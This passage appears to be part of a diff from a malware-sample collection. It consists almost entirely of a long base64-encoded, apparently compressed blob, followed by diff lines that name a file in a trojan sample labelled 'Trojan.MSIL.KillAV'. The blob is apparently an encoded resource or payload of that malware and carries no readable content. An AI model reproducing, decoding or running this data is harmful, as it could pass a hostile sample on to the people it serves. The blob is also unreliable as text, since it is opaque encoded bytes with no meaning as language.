Z/Tvl/z57//rn9Pvi1///yJe+bEf+1d/DWhH+vc3+01/7B+kf38H/PtrfPRj/yxpzTF/e/xjvyn9/pJ/ - /7353wt88pvV3P6X/hhG8UdS+9/m1/hjfuxX0rd/Irf5c/nfv5L+/Yk/6PVviH9/iv+d0L+/5q/xfwHC - r/fwN/pXf42f/IOOf6O/49f6yT9oQv/+er/GH/wb4a0/in//M34j9PsX/EbA56/kz/8G/uRv/42A29/D - //6D/O8/8RthLPL7v8Dt/y3+9z/hf/9H/vx/w+/a46/3G/9j1GPC//5m/O9vzf/+DvTvb/5r/J6/8b9J - /y5+43+X/v3PfuNf9Wv9Br8rpPLX++3+h1/ztyTMf7Pgr9+O//rNf7s7v9ZvS3895b9+y99g59f6Hemv - P0D/+slfa4v++hn96w/8te7TX3+W/vXn/1pP6K+/jf969mv9p7/WlP761/Sv/+7XmpPU/Xf81x/6a/yf - v1ZJf/0GH8l3v+6v/Yvor5T/In76td/RX0/5r1/z1xj92n8QaYs/gP8SPH+dX2POf/3av8Hv+Wv/sfTX - XxR897cFf+H5g36N3yb9C3/tP9/76x/7tf+yXwO2WP76V3/tv/rX+PXtX//Jr/03sr2Wv36jX+cvIy/j - nxKYv8bv9Ov83SRDqx+Xv+7/Or/o14BTIC0f/Dr/iP3rN08vfp1/hkbyV2nLP/PX+Xd/jd/61/iH9K8/ - /9f5T3+N3/bX+HV+N/nrLyMov52F8lf/Ov81/fUb/e7y3b9J3/1Ov8bOL8RfMiv018f467f5Nf7zX+eX - 0V+/1R3567/iv/49/eu/le++JX/9Sv7rnxvJX/83//Xb3ZW/2l8Xf/1r9+WvH/y6v9av+TspLr95+uf+ - usmv+QvsX3/Xr/tb/Jq/y6/xhr2s3+bX+Ld+3d/u1/xdf42nB9rfr/s7/5of/Rp/mP71a/96vyv99Y/p - X09/va1f83f/NX6Dh/LXL/71dn/NO7/Gt/Wvv/jXe/xrjn6NP+iJ/PVX/Hq/DCva2t/f8Os9+TW3f42/ - 70S++81+/a9+zf1fYwYnjXji+td/+2ve/zX+OP3rT/r1V7/mp7/Gv6R//cW//po03ZtT+etv+fV/8Gse - /Bp/m/71D//6f+Cv+fDX+KeeyV//wq//h/+ah7/Gf6Z//Wu//h/zaz7+NUafy1//za//J/2aR7/G7/ul - /PVr/gZ/+q/5e/waWzBXNCu/9W/w5/yav+ev8Yd9V/668xvMSW//RfrX/d/gL/w1j3+N/8n+9Zf/mie/ - xrd/b/nr+W/w1/6ap7/GPyV/EX/+Tb8mo0Xcjb/+9l/zmf717Nf+a36Dv/fX/Lb969/5Df7xX/O5/et/ - +w3+btL3zz8zUH7LX4ORtFDMX4DyL/yaP+FB+Td/zTcelH//1/xK/5L3ftJ+99f8Bv/Jr/l7B+/9lPfe - f/Nrfi94z/yF9/6HX/P7wXsT+9f/9hv8ql9zGrx37r33a5BucO/9xr/W0nvvt/y1quC9xn731/wGv9Ov - tfbe++TX+oH33oNf65fwX+Clv+XHnvxaf5D965//sbNf6w+1f/17P/aF99d/9WOvfq0/zP716ydf/Fp/ - hP3rt05+n1/rj7R/HSfTX+uPs3+9TOa/1h9v/7qm9/4U+9cfQX/9qfavPzdpfq0/zf719yXXv9afYf/6 - l+ivP8v+9Z8mf+Cv9efYv34Vvffn2b9+49+w+bX+AvvX70p//UX2r8Pf8Itf6y/5Nd54HPKX/hpz+9ff - 9Gv+pb/GO/nr13j7G/5Nv+Zf9mv8TfrXu9/wt/w1/vJf41/Sv/7S3/BP+7X+8l/j9z2Sv/56avmX/xp/ - l/71r/6Gf/av9Vf8Gr/d74G/fs1f4z/6Df/CX+uv/DX+sd9T/vpl9Ndf/Wv8dcfy1//9G/6Vv9Zf+2v8 - Bk/kr9/0N/rrfq2/7tf4vfWvH/+N/uZf66//Nf6P3wd//Za/wS/5jf/DX+tv+DV+z5+Sv/7k3/g/o79+ - b/3rz/+N/2v66w/gv0QP/o2/xjv+S8b3N/4afxD/9dv8Br/8N/4/f62/8df4s/S93+A3wV8sz78W9/hr - u3//2l8b8dbfwb//C/bfX+vX+PfN7+mv9Wv8T782uOlX9drQW+mv+Ws8+XXQ5sWv4z5vfh20f0ef/zoK - +Xflz/8cbvMX879/16+DT/7BX+fXopb/GP376/wa/wx//sf8uvj8T/h18ftfyf/+k/zJv8i//8f872/9 - 6+GT3+HXQy+/26+HT77Hn8z4k4r+/XV+jTV//sfy538Sf/5n8id/Gf/7D/Pn/zR//q9z+//i10Mc+j// - epjX/5v+/fV/jV//10fL347//WN6//4d9t9f69f4xzuf/1q/xn/Ov//v3r+/y2+Af49+A3z7rPf7T/G/ - a/7kD+HfLYUJw7/jNwCG/yR//p91vg3f+o+ZVmj/awfthW5+y7+Df/fb+N92KfzrcPtfN2jfnwUfQnxG - fl2G8+sFcIbmzofWnccQH//b/yza/tf8Nf6+H8Mn//CPMWV+jHvnf38Ff/5/8e/u31/r1/goQcutBH3t - JujrMIm3mXKbn+Y2Lbf56c6/v9av8Td+o78//w3xr/CM/PsRf/6R1/K//w27v8t4f5ffyP37V//GP/Zr - QG/8yfTvr/9r/8X072/za//m/Mlfzf/+bvzviP/d538f6+fwOEf87z7/+5j//Zv527+b//2Hfw3o2H/6 - 12h/07/m1/7tfw34wL/9rwHf986v8af/pn8nfQJf99/+Nf7m3/SfpN/R/j+mf//NX/spx17Pf41/9zf9 - Y+nf//w3ffPrPOdv/2v6N/t1/udf41u/WUn/7vxmv4j+3f/NLn+dX8Vwfs1f89f9tX/xr4N/S/rk+W/2 - B/06v/mvWfxmfyL9e/2b/ba/Bj75C/jzv+LX+e1/zX/6N/vrfp3f9df8X36zv+XXufNr/lq/+d9F//7G - v/lf+2vu/po//pv/pr/mw18T0HZ/zbu/+b/46xz/mr/nb978Wse/5u/1m/+r9PtP/eb/zq9z9mtiRD/x - awKf34f+/Z9/nYL+/d9+nT/41/zffvNf89f9i3/N3+23uPx1/upf85D+/Z9/ja9+i9/41/2ff43v/xa/ - /a/7J/+a09/id/t1/+xf8xf9Ft/6dYHhmD7/Jb/FvV8X+Dymz//Q3+Lk1/27f80/i3I0//Cvef83+Mlf - 95/+Nf/m3+L7v+6//Gv+s7/FlP79136L4tf9t7nf//rXfPRb/tJf93/+Nc9+yz/s1/2Pf81/9zf9FkF4 - 9Vv+6b/uP/xr/n6/5Z/z6975NX+asjO/6tdY/ZbzX+NX/Zp/0G/5F/66v+av9af8ln8Z9/jXUcs/+7f8 - m+n3v/S3/Dvo97/ut/wLf83/+df4O35L0PDv+S3/3l8Xv/9Dv+5f/Wv+A7/l/0D//uO/5S+jNv/Kb/mL - fo0f+7X+s9/yV9G3/wslTH7zX+vX/K3+jl/3t/+1frPf6tf/9f7qX/N3/K2+T+Pa+q2+9ev92K+1/Vs9 - oH9/D/r3D/41X/xWv4zm4qd+q89+vV9FY39C/2a/1Z/za/6qX+Onf6u/kP796rc4+/V2fy1Qb/fX+jd/ - K+I6gvDH/HrHv9b/9Fv96b/eQ/787Nf6HX7rP+/XO/u17v7Wf+mvl/1ap7/1X0O/f8H/vvmt/6Zf786v - Nfut/45f71/+Nd/91tNf9w/+Nf+w3/qS5uUv+63/vV/v+tf6F3/rX/Zr/MG/1n/+W/+yX/cP/rV+Of37 - R/9aH/02P/brF7/G49/mN/31/+RfC/T/Rb/W2W/5W//6/zRR4/LXecic+ZBptUu0/R1+/WPC5Hf59f/l - X/P0t5n+un82YfLTv/6PMc13f80/+7f5wa+fMQf+ol/rr/xt/iD6/W//bf5wgoxPCoZT/Br/wm/zV/36 - dyiS+xt+/b/61/rbf5u/jXr823+bv5+g/S+/zb/PkP9T+vdX/zb/3a+/+2v+ur/tD359zOn/Rf/+8t94 - +uv+07/W3d/2o9/gn/617v+2I/r327/tb/lr/NtMh//411r/tr/Pb/Bf0+9/0q+Jf1v6/W//ba5/g3/6 - 1/zDf9s//Df4j3+tP/63/eN+g//51/rzfts/ldv8Dr/+f/1r/RW/7V9Kv/8Nv+01/ft3/rZ/PbX8e3/b - v+U3+Jd/zX/mt53+uv/1r/Uf/rZ4d/3b/ku/Afjh3/0NftWv8V/9tr+K/v1f+N+/7rf8v36D//nX+N9/ - 28tf59f8te/8dr/7j/2av/beb3ef/v30t3tE/x79dic/9h//Wn/4b3v2Y//1r/Xjv/lf/xv89r/Gt3+7 - 3/vH7vwazW/3+/3YNVFg9mN3fm2eU/734a/9j/92f/eP/dFMn+NfG7id8ec/8WuDVr8P/5vxvwX/+4v4 - 32v+9w/mf/9o/vc3+DXSX+PfoHzYv/Vr/OG/1m/wa/x7v8YfQ//+R7/Gn0j//ne/xt9D//5Pv8Y/SP8e - /Jr4/fGvid9/z1/zn6J/n/6a/zz9++1f81/5te78Gn/or/Hu1x7/Gv/tr3H+64x/jd/w18O/v+zXPU/G - v8Zvyb//t7/u70O//+pfF7//2vzJ78j//jj/++/+urv07X/66z5Kfs9f4xPq8ff8NX7LX+M3/rVPfo3f - 8df4nehf/H5G8Ge/9pQ/mfInBX3yR//afxC3/0N/jYb/xbd/6K/xi+n3P5q+/TN+7b+Iv/1Luf1f+mv8 - o7/Gf/hr/0P8yT/KeP6j/Pk/Tf/+ol//P+LP/2v+/df4NfH7r/Fr4ttf+9cE5JR/T/nzH+dP7vyaf+iv - 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 - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/SocketsClient.cs 